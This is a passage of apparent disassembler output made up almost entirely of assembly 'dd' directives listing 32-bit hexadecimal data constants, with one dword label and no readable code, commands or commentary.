82532004h, 0BF208857h, 0D567A82Ch, 0E04A7400h, 2C66408Ah dd 2458FC11h, 9B0069E4h, 301CD437h, 447AAC25h, 0F66C0044h dd 712A89E4h, 1601B0F1h, 0C249AF01h, 0E2D4A963h, 57991637h dd 21940091h, 0C7F7B04Ah, 0FD0B9600h, 66BF1DB5h, 847101EEh dd 0C0D62758h, 0BED5FD4Dh, 1C90CB61h, 50B148h, 38F8F691h dd 0AB4EB6A1h, 0D0587500h, 9C5CE1C6h, 0BC53E9Eh, 6EE967h dd 9EC54EFh, 58A41A00h, 0EDB786C6h, 40DC257Bh, 6A4D5021h dd 0E83842D2h, 94724B20h, 333B0043h, 0BD6B19CFh, 0E95D2A6h dd 2F0151C4h, 357E0AA7h, 88252A8Eh, 4321681Ah, 0F781D00Ch dd 929B3986h, 28C47225h, 0CE13A1Eh, 71BA7DC0h, 10F2561h dd 0F9208F91h, 0CD94502Dh, 0E99991D2h, 0BB0D4100h, 2FF95F6Ch dd 9682B500h, 12EA847Fh, 251600A7h, 0A98DBF59h, 0F785A53h dd 8EAE0700h, 9050151h, 8914BBD7h, 0F88C23EFh, 0A2399090h dd 0EC44CAC7h, 0ACC213E8h, 5080E1E3h, 0C88B1208h, 3D4D69F3h dd 0A881F2B9h, 0F8F156E5h, 108C2695h, 0D8413D8h, 53FB41D2h dd 8CED2B91h, 0D9732881h, 0E41BAB3Fh, 83167709h, 34200C2Ah dd 0E8FDE30Eh, 885D0015h, 195BEC5h, 0D0B0728h, 91B20304h dd 0D2608928h, 95C004DDh, 0E2736F59h, 0EA470094h, 7953EC9Eh dd 256E007Dh, 8AB59C6Ch, 483D978Bh, 0C8073DE0h, 846A00C0h dd 6020F09h, 0DC21FF57h, 68C8A068h, 9F0C2440h, 0AEF9136Fh dd 0DAC40663h, 0B03864BBh, 0ADF281D5h, 0AF5D66A8h, 39D4633Ah dd 5F1092D0h, 7001E898h, 9E244A35h, 709D902Fh, 6304224Dh dd 6FFACB5Ch, 3C003CB2h, 0A4F8B63Eh, 0A2062926h, 9734AF92h dd 161A15E6h, 0D908C031h, 0AD188E01h, 4A4A90A0h, 0DA102062h dd 0A200F56Dh, 4247EC33h, 176B7Ch, 0E072D4Bh, 46ADD7C8h dd 5368E30Eh, 1B54843Fh, 821848C7h, 7276AEFAh, 0D580D880h dd 4302775Eh, 7E5A8A52h, 0BD31601Ah, 5559016Eh, 0E462B283h dd 80103856h, 0B0AD0C8Fh, 981E009Eh, 250B92FBh, 71FA96B9h dd 14FD730Bh, 345E70h, 0E6F8FADAh, 574B1FE7h, 39B3C460h dd 3FB10095h, 251FA5Eh, 6D0123FFh, 80EC3D1h, 0E43253D9h dd 87E01000h, 0EEC77A96h, 7F8A953Ah, 734F7074h, 20DD7832h dd 6EFA7D84h, 0B88A9300h, 0EDDC5CECh, 574B0770h, 0A1CE9DF7h dd 790B99FEh, 833E10BCh, 190B392h, 11FE5EADh, 8645F32h dd 16912451h, 30F21680h, 0B3CB734h, 0F59608A0h, 4FBFD08h dd 0C08D04EBh, 0C068AC05h, 9C4C9883h, 0B06C01Fh, 96D8C480h dd 0FBF11209h, 21C0E45Bh, 669D7C0Eh, 8A9C046Dh, 9CF07A84h dd 0F2820E6Dh, 0FE000874h, 0D89FF8D7h, 127E4807h, 525115A4h dd 41D86AA7h, 7D905857h, 1128204Eh, 2A01785Fh, 92247254h dd 35D83FC3h, 10E20012h, 3E52806Ch, 8890BEA3h, 108F4D25h dd 4A78D168h, 8BD488C8h, 68003B4Eh, 3C7791ECh, 2AB400B7h dd 98962C82h, 925A0172h, 17403C58h, 835F909h, 91802C78h dd 0FA9602A8h, 267F8902h, 587CD457h, 0EC4059Ch, 2129D906h dd 722616B8h, 70D24AF4h, 80187CA1h, 0B28CC7DEh, 57072EE5h dd 0AC5EE165h, 94236F70h, 0F481401h, 0D9092024h, 0BCE89AEFh dd 6EE86C6Ah, 0A0DBC025h, 23D1927Ch, 98C84B57h, 408A19F4h dd 3B0C278h, 26F217Dh, 0FC85384h, 0A097152h, 5841CC9Dh dd 0D7CA0DA8h, 2AD94B37h, 3DA1A860h, 0DCD601D3h, 0C96609E6h dd 90C05319h, 8CA253D4h, 23950F00h, 0C46115AFh, 1D6D3848h dd 0DC24762Fh, 7691740h, 5036070Ah, 151EF0A3h, 893B80D8h dd 441D1666h, 1B9D9DFh, 0F69BC5DCh, 542F1AFBh, 0CA031200h dd 0E7F98AC9h, 0D2E486E3h, 0C4E40758h, 180EFE2Ch, 44946865h dd 0B48034B2h, 9537A4A6h, 7D5E3104h, 50C593D8h, 30AB90E4h dd 2449D5EEh, 0E00F328h, 0A9C31CF8h, 0FC033E74h, 0BB471E67h dd 97E5021Ah, 8511E64h, 6A118701h, 98215D67h, 27807828h dd 0F5FAD2F6h, 0DA80489Ch, 86EC0949h, 741004Ch, 507BEA12h dd 9A3F4F9Eh, 0F8E30944h, 0D8D0B0E7h, 2C8D4510h, 0E001C078h dd 1D70A26Fh, 17A3C3B7h, 0CCA890EFh, 7F0108EEh, 1C2FFBFh dd 31D4D99Bh, 4773206Dh, 90103Ah, 77E805F5h, 39857261h dd 0FB803F9Bh, 60D42FE9h, 2B1D96A0h, 0BD408762h, 0B57B9C13h dd 0DCAB0CFEh, 4D898869h, 80D06848h, 0BAFF726Dh, 19804B1h dd 8C280FF4h, 14815374h, 21D6FA00h, 77B2FB09h, 742CD015h dd 79E18037h, 0CEBD3E12h, 23694044h, 3C18A42h, 0E9EC18E6h dd 72DEC089h, 52A20994h, 0BC483CF2h, 5C8A8E93h, 0E8D962F8h dd 2DEDAC19h, 0C048B87Ch, 24B45E2Ah, 43B404C0h, 8901DBF0h dd 714925E6h, 0DD702CD2h, 1FBEC14h, 0BD5FC5C3h, 3CFF9458h dd 7838099Ch, 1F3498D9h, 0F43AF60Eh, 0FABBFCBCh, 5A9B012h dd 0DD595B72h, 93A8A841h, 2A264C00h, 727362ABh, 485A0998h dd 0FCD8E6D8h, 0DAF6E20h, 397FE7E1h, 94202B38h, 0B9DEB0h dd 25EB29FDh, 2109F55Dh dd 723948h, 81CD9211h, 4EA496E0h, 0A1ECC816h, 839C6F00h dd 0C8A90D8Fh, 0CBD600B8h, 20FBF7E1h, 0B23F7DA6h, 0C0FE00ECh dd 0E20E10AEh, 0C4F25108h, 2B8F9C02h, 0D0C8B061h, 1B27940Fh dd 6C54A2D5h, 0DD9222CDh, 0C6804028h, 0E3320619h, 0CA8A0304h dd 0CBAD5E5Dh, 0A7DC3DA8h, 0B7507264h, 66119CEDh, 74FA0337h dd 0A8441D16h, 0D4AEFEh, 0A1728FA5h, 5AD08C9Bh, 0E904FD25h dd 15C1C038h, 53A2422h, 4EECAC44h, 10049F49h, 0DB8E721Ah dd 11E50191h, 0F1ED6A0Eh, 24D67C43h, 0D6CF641h, 0BEF0EAC3h dd 588BA238h, 0FAC0B4FEh, 0D2269CCh, 0C059C0A2h, 85BE5D00h dd 0C6656Fh, 0C906EDADh, 0E15B283Eh, 0F98E7700h, 0A51B049h dd 0D030C4C3h, 3AB4E4A0h, 0F8BFE707h, 0C9B704B3h, 4E216B70h dd 0A49C28F0h, 0C44CE59Ch, 9158BEE3h, 5D3810h, 7E84DF49h dd 0A08643A1h, 71E511F0h, 885B50E9h, 0D0C68A60h, 0C5A9807h dd 0AA57F6A6h, 0A808C5F0h, 99910134h, 1043F207h, 73AC4052h dd 8240FDB5h, 25E849Ch, 30F2A052h, 543B9D00h, 0A24EBA59h dd 71339000h, 4360B311h, 18F00BCh, 5B98BD14h, 9EFA7C66h dd 1A44F898h, 929F3D9Ah, 9A427D13h, 0EF55090Ch, 0A45849h dd 0F9E5276h, 0C866B131h, 178C4650h, 7EE788h, 0BE799575h dd 0B1029D65h, 0A42024BEh, 426C875Ch, 1C353840h, 1C49EB71h dd 7857804Dh, 0F2117Eh, 0E783A2CEh, 0A14EC8BCh, 589B1A17h dd 0A30700C1h, 18C4F012h, 18007AE8h, 1DC1FF75h, 5352C5h dd 28584BB8h, 6608A3A1h, 44E71924h, 0BCD85716h, 20C24E75h dd 21EB5F90h, 0D110A600h, 19C87C45h, 2A4B0080h, 9E1BB1B2h dd 1A2AA002h, 0DB444873h, 0D1525AFEh, 508B0A24h, 0E3564CFCh dd 0E01FE97Bh, 0C7408E95h, 0FE4F8607h, 55C0A63h, 2E949A9Eh dd 1D3B4094h, 0FF7268C7h, 1F33B000h, 0EE136C18h, 0E06F09BAh dd 0C273A5Fh, 973E42D0h, 0EA004459h, 0F68FC9C8h, 5AA20020h dd 9AA81439h, 11EF19Dh, 1ACA8253h, 8C91608Fh, 868E42Eh dd 92889C65h, 5FD544D6h, 0F25EDC01h, 0D2F069B7h, 976517E8h dd 263C0095h, 0EF98FF40h, 0E05DDC3Ch, 0F4FBFA91h, 15941D29h dd 0C80E05E3h, 0EF606366h, 2A7294E1h, 58082812h, 6A4D8444h dd 2218E289h, 0B469F87Ah, 0F1664200h, 13A3C4E8h, 0B57E19C0h dd 0CB86EDh, 48158FC7h, 0CF5F7C2h, 9600C4B1h, 9FBFDF8h dd 0C67F1D6h, 2BA0E00Eh, 4DA5B900h, 0FF00051Eh, 0BD70D494h dd 0EE12B00Bh, 3258A966h, 0E54EFA10h, 0C78A1800h, 52055DB9h dd 0A888B784h, 0D06925DCh, 9CF8A65Bh, 0E84CCE11h, 0E6246604h dd 519404E9h, 2458A054h, 823190CEh, 68E59A69h, 0AC885258h dd 0D91828BCh, 477215BFh, 0F0097C22h, 0B472F5EEh, 760B6003h dd 0C86227B8h, 0BD684B1Bh, 0A953FF00h, 0CC24610Eh, 63101C87h dd 0AD9D9CC8h, 1F131B93h, 0DF5E890h, 0A0213162h, 11C596A1h dd 0F2158665h, 79C71FC0h, 93A167C2h, 0E6909811h, 0CFB486Ch dd 4A910221h, 3915302h, 7C788B6Eh, 0CB0075E0h, 1677A657h dd 98EDEFF9h, 0BF6E5058h, 0AD2C0028h, 95C6494h, 0F6E07097h dd 3800B891h, 2865F718h, 13810084h, 119DBA94h, 0C90546DEh dd 0D86678AEh, 294ACC32h, 0D200CCD9h, 0EF643788h, 235C0019h dd 162A91CEh, 6914FE33h, 4F80C806h, 0F4934020h, 42500F3h dd 5295242Fh, 25950964h, 0CD06D5Ch, 99A182EDh, 523F0798h dd 434FA1D5h, 8AC7D4E6h, 9AD01301h, 8336A190h, 0ADEF128Ch dd 0E386D4B0h, 8A0A6D10h, 0CA26C083h, 0A2970371h, 0C3FDDDCBh dd 0D8663681h, 0B73944A9h, 0C0C8DC5Bh, 48C9F639h, 25BE047Dh dd 0C4C2AEACh, 82F0444Ah, 80861FC6h, 3BC9CC98h, 0B4D0C4AFh dd 40A1889Fh, 4AF1B900h, 0D7AC847Eh, 0BF4B03C4h, 166CC303h dd 0B39289B0h, 2960665Dh, 6792FC12h, 981E1C28h, 301326ADh dd 0EE350800h, 0F5D84E00h, 14A0E6Bh, 1679124Bh, 71CBF84Dh dd 0AF2F3073h, 0C5D20404h, 64826DC7h, 87321E8h, 6FE7F801h dd 4F43C4B0h, 735E9D22h, 24865DA0h, 5AC3F92h, 0D3EB21D7h dd 50228DB4h, 0E7E129BBh, 42BD00A0h, 0F5F37C95h, 0CFC63506h dd 20B876A6h, 0FA7DFE15h, 0AB2C23B5h, 43F088F2h, 0CC200C1h dd 7740E821h, 92539976h, 6EB403B0h, 0F1C26958h, 40BA494Dh dd 0C8764F78h, 53895950h, 0BFDF2520h, 0BD07A822h, 8AE81010h dd 0DDC2E8DCh, 0B7D85669h, 0C08088A0h, 8911025Bh, 42A30043h dd 2FB136B5h, 0A23322D0h, 0CCE9D8C8h, 0B400C0E6h, 63F3D6AEh dd 0E70E2284h, 0DCF2797Ch, 8AB12A81h, 413BC2C4h, 0AB6DCAD8h dd 0ED2471B5h, 86060D72h, 0B5AE1691h, 0A9B4200Bh, 7300E557h dd 0CC38EFA4h, 71466Fh, 0ACA1CA1Dh, 0E8681A72h, 79D2225h dd 0F1345EC8h, 0A9C59123h, 2E9B8078h, 0E47C526h, 0EE22ED23h dd 5B03D20h, 0D804FBA8h, 0BAD07951h, 0F8BE5481h, 4E894608h dd 40425030h, 22970A63h, 0C082B1F0h, 19C4E0Fh, 0B66F9BA2h dd 62969562h, 14E80904h, 99CC49Ah, 0F8C250E5h, 0C8465809h dd 0E4149227h, 0C29E0018h, 0E6120FEAh, 0A800F30Dh, 0FB36A6EEh dd 4D2CE0F1h, 603B6495h, 58D622C2h, 0A1054BEh, 0E03BD9h dd 9ACE46F0h, 2593F1C7h, 0EC1AC1EDh, 0E1AC5460h, 0B5624484h dd 3F4A48C4h, 0A4E5AD04h, 0A50361D8h, 739E8251h, 339D80C4h dd 1CE30774h, 4FFD237Eh, 533849FDh, 3098B885h, 0C3AF1E98h dd 0E9B6100h, 0D855C7BFh, 58720B5Dh, 0E498F8D9h, 109FC17Dh dd 0BA218h, 6E4FB16Bh, 77818A2Fh, 63D9E905h, 8408B5EFh dd 499C645Ch, 0C40806Dh, 249A536Ah, 17F86F46h, 0EC343067h dd 3148FF8h, 58EC3592h, 332BC0F4h, 0A33C22h, 0CFBC0E7Dh dd 68D0350Dh, 1F642F48h, 0AF0A15A4h, 0FD89AC3Ch, 52F5h dd 7A1BA1EAh, 0D7ADE544h, 81BBC807h, 3FD01E11h, 929B76Eh dd 0FA869414h, 0CE283410h, 5C914D80h, 8CC814D8h, 902C44A5h dd 718F2E9h, 0B239AFDAh, 0DB611057h, 0FE1EC47Dh, 0D7936A03h dd 44B3E012h, 63C85200h, 4FD515Ch, 7200B4A4h, 85261F0Eh dd 0B047AB87h, 6F7E04B0h, 85CDFCD4h, 1F60A25Ch, 1C8E9913h dd 2F6D6052h, 358627h, 65029EBBh, 41DD2DFFh, 0A8EA80BCh dd 0DC8B610h, 0E8684D89h, 2E5C6D2Ch, 4038F699h, 0BD597941h dd 5873F712h, 33E6BC04h, 0A49E8C48h, 0F6AD1440h, 7C0C36h dd 0DA22EC50h, 76FBA034h, 0FED75812h, 0DDC0201Dh, 78249952h dd 3CD5F435h, 57B0F3E6h, 764A9F0h, 0E8365002h, 61589B1Ch dd 0FD0DEFACh, 8AD018Eh, 2C2650C0h, 894731Dh, 8A10D94Eh dd 944CF853h, 4378E449h, 0DD3E1083h, 47708A00h, 0FBD21868h dd 9A8EE404h, 4A3918Bh, 1A9FF905h, 0D2D0CC6Bh, 1209E188h dd 819BD166h, 158895ECh, 0F4D97807h, 6C808415h, 161073D6h dd 720E25h, 3AAABB86h, 0AB3B9861h, 29658015h, 7D4F1418h dd 59AF277h, 0C7BCED79h, 0A2A884D3h, 432E0014h, 0FFA38B39h dd 0F69B000Bh, 0FC1BCC7Eh, 0D4094F41h, 82F5CB37h, 11E03424h dd 0C054729Ah, 2215BA90h, 8ECF0065h, 0FFF39E50h, 5476BF52h dd 413D6627h, 4D1057BCh, 0B8A8190Eh, 0B980D67Eh, 0D4960082h dd 4DED3734h, 6400AACFh, 0C9F806E8h, 353E0E4h, 5E85F46Eh dd 1002E619h, 0C89990A6h, 8B6C48FAh, 2411978Fh, 246A0D3Eh dd 842C8504h, 0A4680820h, 885CDC84h, 61DB3E5Fh, 281E6904h dd 832578E0h, 12B3D4F8h, 2094CB30h, 845E43FBh, 0A325847Ch dd 0F68850B0h, 888A3444h dd 0D6002B9Ch, 2FBCFA20h, 7597335h, 627B2116h, 42683145h dd 3C4C6082h, 407999B8h, 50ADCF01h, 999D4427h, 203421h dd 0B390C0h, 2516A821h, 59710F97h, 98466119h, 2A0C22B1h dd 2E4CCE54h, 20738140h, 0C0A011A1h, 1E00318Bh, 0F13980CDh dd 7FF574h, 83B5ADFAh, 294BBD91h, 168DD500h, 0EABA43F2h dd 3F530051h, 6856F3CFh, 17128BF6h, 0D80FA5FDh, 82C344A8h dd 0B27E565Fh, 5C428030h, 1B869h, 0DA53CB48h, 0A87BF3BCh dd 5495A424h, 12E6213Fh, 74E76Fh, 2F2970B5h, 4F82A1Ah dd 429D648Eh, 29C8117Ch, 0DE91D443h, 0A6526D00h, 15AA240Ah dd 7440F54Eh, 22323FFFh, 35C41CB6h, 74F24069h, 55C76C2h dd 0C988EE2Fh, 0F109DFCCh, 99C91715h, 343283D8h, 0FC7B8B84h dd 5AD8264h, 19745183h, 0DCFB39CBh, 0A109DA69h, 45B5157Ch dd 4D8B04ECh, 30A852A6h, 2B479780h, 0B100076Bh, 0E665C805h dd 0EEACAB48h, 8C34A96Fh, 6880806Ch, 0C84DECE3h, 7221CCB8h dd 0A8283F9Eh, 0C0981F14h, 812F525Fh, 0E87930h, 9D04FBFAh dd 0C0231420h, 0C49E03FCh, 3A7753h, 30FD7DABh, 70795E3Dh dd 6FE0AB0h, 0E4497227h, 12A7701Ch, 8B0DFBF6h, 8E4248Ch dd 5FC8BC10h, 2F6BDC85h, 0AC9214ECh, 8CC5A008h, 3FE4733Ah dd 5C0075ADh, 0E03E1E6Eh, 0D620E8B0h, 0ADD7405Dh, 8CE2934Ah dd 39D07C09h, 1819ED82h, 0E5ABE3E0h, 0E1A150A0h, 0D71CA500h dd 9B18936Dh, 3BDE8F9h, 3FDE69A7h, 82A268CEh, 3237C484h dd 1CFA25B9h, 47D4D3F8h, 944BF644h, 0C804ABF4h, 44CC0E6Ah dd 8C6B5CDEh, 839011h, 81A15263h, 2CFF8955h, 11406FE5h dd 16FE1317h, 544CE4A3h, 95882321h, 0B9AD008Eh, 457AA253h dd 8894024h, 0AC146371h, 10A18058h, 0E1088Bh, 0F5BF777Eh dd 1D2422FBh, 6020AD4Eh, 0B6FACAh, 0B4E89C20h, 4498DE99h dd 9F5CE748h, 51E542C0h, 40DD53Bh, 0DF6AE95Eh, 0C4D0D420h dd 888C165Eh, 6400BB14h, 3358433Ch, 710EDB5h, 8241177Dh dd 6B8A2185h, 0A150287Eh, 782070BEh, 274801B3h, 0C6F8CBAEh dd 848BD68Eh, 0C8285C72h, 3343D476h, 0BC809622h, 2849068h dd 7537765Ch, 20E05472h, 3A842E0Fh, 0DC407894h, 0D2EC535Ch dd 913EBC0Fh, 1AFB2A0Ah, 0B09B1354h, 0FA88D2B4h, 8F25224Bh dd 0F1289604h, 3CC808FBh, 0AAF473h, 74D4607Ah, 0B6851A16h dd 0E804765Ah, 1E22F8C2h, 1286E213h, 78103255h, 0BAA22098h dd 27250DF0h, 80A87133h, 96DBE621h, 7400B18Ch, 0FE163E57h dd 9EF8F5CCh, 0A40B27F0h, 0F240458h, 0CE64E0E9h, 0D404C84Bh dd 56393298h, 0BA24E0DCh, 0D7000E8Bh, 0CF726FF0h, 49DE6A01h dd 405390BFh, 0B79D8400h, 7E510442h, 0F07D4403h, 0A5564EC6h dd 0A93488h, 20F16F5Ch, 9F112214h, 3F2C29F2h, 4100BE67h dd 924C5912h, 0F971131Ch, 8498D0F5h, 2B33E15Fh, 88E04EDDh dd 1169555h, 6D14F59Dh, 338F943Ch, 5EC26F0h, 9D4C827h dd 2A2001Fh, 0B8D9D6B2h, 5E00476Dh, 0EFF04F32h, 2C6B7BDh dd 1AA0BEFEh, 0C844512Fh, 0F051CB65h, 0B44888h, 0A0BA749Dh dd 0D38C928h, 92329F02h, 5661AE03h, 0E2051D20h, 17E8D881h dd 131CF320h, 1492165Eh, 1E10B2ABh, 0DD409F1Fh, 54B06135h dd 0F7D827F9h, 0C2750090h, 3D42ECB8h, 68C59027h, 0F2EA4703h dd 0B59AC8E3h, 88E000Eh, 0C3C90C12h, 0B726BE1Ah, 13153825h dd 18182570h, 8019B98Ch, 9426CC53h, 0E6627411h, 0D264496Ch dd 0B8AAF20Ch, 2A4044D6h, 7DD06Ch, 0ED78DCD7h, 0DD7AF055h dd 0E6038F0Ah, 642F9067h, 1626028Ch, 0C625F808h, 741AC60h dd 0D72E100h, 3BADDA68h, 5237005Ch, 0A549316Dh, 5A60D44Ch dd 0EF8A4010h, 0BCCE0203h, 0D56A8B8Fh, 0F780D0F3h, 59084FADh dd 0A5EF0096h, 12890E94h, 9104B03Fh, 0C49E90E6h, 3CAE8081h dd 12836E0h, 21207C8Eh, 8039E153h, 0BCE9A08h, 0E02A1581h dd 0E50D01A8h, 0CD82EF27h, 202080F9h, 0DE017A28h, 0D0EE03FAh dd 98177F3Fh, 13994907h, 11AC2B77h, 0E2B300BBh, 0EAACEF93h dd 0A400225Bh, 2BC68E65h, 31D30BD5h, 0DA5933B9h, 21088029h dd 4DFA25Bh, 376E03ACh, 0EEE18038h, 90FE28EEh, 15E52800h dd 7C475E31h, 0A87200CDh, 6554E7Fh, 530093B9h, 622A36FEh dd 0A085F2h, 0A2B5F29h, 892CE93Ch, 0C91AE00h, 0A2073746h dd 0BB6E0040h, 8DBDB633h, 0AC00216Ch, 5CB0351Fh, 350287Ah dd 83611CFBh, 2BD80E99h, 0F31E8247h, 0B0B18F6Dh, 0F180AE4Ah dd 7C8D9A70h, 0E072CBF9h, 0A83CA402h, 8044A327h, 9D384BE9h dd 0A80D51AAh, 0A2F3AC00h, 24F9CF1Eh, 8AC4058Ah, 808C25CDh dd 7D36C0A0h, 200E9E3h, 928611A7h, 0A61A336Fh, 80B303BCh dd 7BB9763Bh, 0F0A4FEEAh, 0F37A406Eh, 0A4E0F6DFh, 0F17E00A4h dd 4EE46E79h, 0D100C66Fh, 0E535840Ch, 187849CAh, 990BA7F3h dd 49C08C4Ah, 692C8775h, 6FAF0006h, 0F8D4A493h, 21C0804Ah dd 6D754835h, 0F5B4001Ch, 0EC49CB46h, 23009A55h, 41BB8921h dd 0C3828CF1h, 18A0D331h, 7381E902h, 46B2B96Fh, 0D3924450h dd 0C640B548h, 61999A5h, 0AB6FBAB1h, 864489B8h, 7C77810h dd 0F588267Fh, 0A0D4501Dh, 4400EF62h, 6FCF0C3Ch, 35EAA3h dd 3FAB4056h, 34D8D5B5h, 54AC0301h, 0CFF14AE3h, 43B23440h dd 0D8D20464h, 202BDD4Dh, 3A76655Dh, 96817AB4h, 2A3A25A1h dd 26C88871h, 546B445Ah, 4002C064h, 74DE26h, 0CA9DC11Eh dd 460F0D87h, 1AE4123Dh, 0A4414AE1h, 1C47180Ch, 15F4619Dh dd 0F3D040FDh, 0F97D9Ch, 48B4AA3Eh, 2488A8EDh, 0B751FF80h dd 1ABC86h, 0C02C0C81h, 0F1CCD7F7h, 7413A0A0h, 2923B80h dd 587A7832h, 0A89809BBh, 0D3E09DD9h, 0A780F300h, 0D1605F66h dd 40E1297h, 0C988232Ah, 0D373710Ah, 7C40ECB4h, 0CB56BDDh dd 557AFCB9h, 1D22D1C0h, 846D2AD5h, 0CCEB1D1Ch, 16A20C62h dd 17F87741h, 6C9BE124h, 1E3188A0h, 0F2CD2169h, 250129BEh dd 1D701FA5h, 6A75DCA9h, 3E944301h, 42EE1C32h, 40316830h dd 2D1F294Ch, 0FCC03318h, 98B2BB61h, 89D6584Ah, 27196400h dd 3E1FBEA9h, 96F42309h, 125C841Dh, 28226032h, 4668468Dh dd 0B9FF02A2h, 2FE36B3h, 0BD2099A8h, 0F212DD33h, 9335001Ah dd 0EF9DBDAh, 960F15E4h, 64F28D5Fh, 44C8217Fh, 0CBDC02B5h dd 7212AAE9h, 5B0A3040h, 0B2A24484h, 0DCFBE8A0h, 50695A80h dd 1AF86E8h, 41262EA7h, 0F4AB74A3h, 0D4006E39h, 0CC23A29Ah dd 0C0EFCD91h, 7DEAC1B9h, 2262EC47h, 115AF668h, 7BD1259h dd 2404F833h, 509038FFh, 0A4526EF3h, 457912E8h, 0FE1600EBh dd 0CD196A12h, 0FF324E00h, 18E129ABh, 3CD200F5h, 0E417EA27h dd 0F062CD90h, 0F7F8BE89h, 1155D4E0h, 3F805900h, 0ED2DF247h dd 6F5F064Dh, 80DAB1F0h, 16620D11h, 2C256D11h, 4D40444Ah dd 0C66293h, 92BD26A2h, 0CF752B7Eh, 0FD397910h, 13EEB511h dd 0AC25A428h, 0D11F5801h, 0E18037E6h, 832F6AADh, 74583D34h dd 21A9CF9Ch, 7C08C13Bh, 42D81460h, 838A7829h, 31DB670h dd 1BA94F69h, 1106A5EEh, 55646021h, 8217E698h, 0F3A33C40h dd 47363900h, 76B319C6h, 3AD70010h, 0DBF06282h, 430B88A8h dd 801C08B5h, 1B6BE3FAh, 0A9763E3Dh, 105C40A4h, 9435C9E6h dd 0ABDB0010h, 5268B7ECh, 0F602268Fh, 646C2DC2h, 73BB02C1h dd 35062407h, 892904F1h, 9014A6D3h, 25812378h, 82601E58h dd 912AA0F3h, 0FA108BC4h dword_577994 dd 0D90367E2h, 5E7699C0h, 0AE85F09Bh, 8DD50019h, 182F78CCh dd 0F601E23h, 74894049h, 0C32CB079h, 4622CD20h, 0A9F1700Ch dd 4DE159D2h, 3400ACF2h, 92ABED5Ch, 6400361Dh, 0A2B07145h dd 980C37Bh, 0C6FC70A5h, 26A36C01h, 0C65A12FEh, 0DA3F4434h dd 6AC12260h, 66050Bh, 643BA1ECh, 9095971Ah, 0D8A90D07h dd 4C51A5FDh, 94704868h, 0C264883Dh, 2E9CD400h, 5090CB79h dd 66470094h, 238ADA4Bh, 10000A73h, 0E6BADB9Bh, 0B05A211Eh dd 2FEB21E0h, 91E1C43Dh, 652E00B0h, 0C0FCA892h, 5AC293Eh dd 287118A4h, 599F009h, 0BC22AB38h, 443621AAh, 0BB1BC004h dd 73276900h, 62D71C6Ch, 5E998F6h, 7AF55B0Dh, 5A604E9Ah dd 3DEDAFh, 509E39F6h, 5EF81C2Dh, 0B57DD600h, 0FCB1C899h dd 72491428h, 0AA0AC0CCh, 44A014A2h, 1B3A4021h, 108CAC3h dd 0F39F54DFh, 0F996B233h, 0EDB0ECE3h, 36808CB1h, 9F45BBC3h dd 1E7A0E46h, 8A410BDEh, 40DDC1F4h, 0E63B2E90h, 8867CF80h dd 0F360CD7Ah, 0B17DCE79h, 3DA0004h, 0F0CA914Bh, 0A01BB93h dd 0E5360685h, 0A0CAE12Ch, 68BFBAA8h, 0FE6F0077h, 4DBE12DAh dd 0E77E033h, 7C12367h, 0F1B71FA7h, 0B89D1053h, 2C2F8DFh dd 780EEB02h, 48607976h, 6084B268h, 821D6117h, 0CB06FFAEh dd 0CF3E2B77h, 58E048E8h, 0B64EF680h, 1B03709h, 5D268100h dd 48E654F5h, 0D70B4892h, 0E39BC706h, 8003E122h, 0B4144ED3h dd 8B30D95Eh, 2B2BCE0h, 4368F589h, 0E5E2CF2Ah, 48B82087h dd 99000591h, 5C83A757h, 0C31E0F76h, 1B40508Fh, 0F3E28ED2h dd 60544CDBh, 881E5C10h, 3BE14392h, 0DAEB4903h, 881C5499h dd 24EECB7Dh, 443C1F7Ah, 0B83D40A9h, 47C1E9Fh, 0B2B4791Ah dd 0FEFA8335h, 782EE7D0h, 100096B8h, 73164802h, 0BA359B2h dd 83778ECCh, 8198B488h, 0DB755679h, 94B44178h, 405808BBh dd 0D8B84016h, 126C8D44h, 83800BB5h, 693DE27Ch, 2A24409Ah dd 2AC0FC19h, 445CA6F3h, 0DD00D2A8h, 2152CDFh, 966B44h dd 0B2FF41B3h, 54C9A578h, 4AD6CD13h, 5E824405h, 2B851480h dd 0DB41C0A7h, 3E9E74FEh, 0B2417503h, 304CE925h, 0C0207952h dd 1AF6836Fh, 0C033EC91h, 2855A48Bh, 4474902Ah, 0A7002861h dd 7EB803D0h, 0C0F1E154h, 2EA84BC9h, 2C005194h, 0F7FDD2Fh dd 0AD5E8FAh, 0DA6249D3h, 8094A9A4h, 0D9F08F56h, 7801A73Bh dd 4A339770h, 98F8C936h, 0E1FD2E59h, 18AE00DCh, 8B7F55A5h dd 0CEB8CD09h, 0A2FC82A7h, 7AB89011h, 0D3500F1Dh, 74401B1Ch dd 0BB2AE86Ah, 29753200h, 0EF6941FAh, 16E6908Bh, 0E06CE6Fh dd 37E8D2A0h, 9978F38Dh, 0C863BE0h, 0DB8EF126h, 0D870B261h dd 27D3B8ABh, 80762938h, 6660383Eh, 73F554F6h, 621E034Bh dd 0D04264FFh, 26DA6018h, 24BA5931h, 451B80h, 69C3FE5Bh dd 0AA09686Eh, 603D6CFDh, 8954A6C8h, 22E9C05Ah, 4CC8854Ch dd 10F97D70h, 4979655h, 2B6DEEE2h, 19730099h, 0B0A5CCBh dd 0A628045Dh, 0D6FD2490h, 5D38223h, 0FF02FF2h, 0A7E03528h dd 0AA764A70h, 0A2EEE90Ch, 728955h, 818E1319h, 46A3797Dh dd 0C19D1F03h, 0C22B99BFh, 190882CEh, 761487FBh, 83290100h dd 7A2BE85Dh, 40630089h, 1DDC85ECh, 0D778AAA0h, 0BC43DB4Eh dd 0F8AF117Dh, 162237Fh, 0DE9CA1ACh, 9C8F22B9h, 43803F78h dd 11D9C924h, 0B4D200F9h, 49910F09h, 8D00DCB5h, 53E6FC2Eh dd 0B12BA87h, 0EEF4192Fh, 2EF80814h, 0E026B507h, 2300D466h dd 1F1370F9h, 493F90AFh, 35856F33h, 0D1849130h, 0A07A10DBh dd 1A5E1DDCh, 6F73C0BEh, 0A28DF11Fh, 2344C094h, 0CC492943h dd 0B1013A7Ch, 0E7FCF143h, 7C72CD30h, 93498900h, 5ABE0646h dd 79225400h, 58BFAEE5h, 738C0343h, 37CFE1FFh, 0A9AA8911h dd 42F487Bh, 166F1A81h, 0D00C80C4h, 0CC8048D8h, 5C837CF6h dd 916B9CDDh, 4BA0081h, 0D0850454h, 2B40F830h, 0EF1A0372h dd 370225E2h, 77C6148h, 0DFAD78FAh, 4AD46189h, 89033432h dd 3E295465h, 30702FE0h, 2E560400h, 6016CB8Ch, 0F0C2138Bh dd 0AC6488AAh, 360BB709h, 1A2C85CCh, 0E81DE8C8h, 0E37900DFh dd 7B09E1CFh, 0BC01D264h, 7F73AE0Bh, 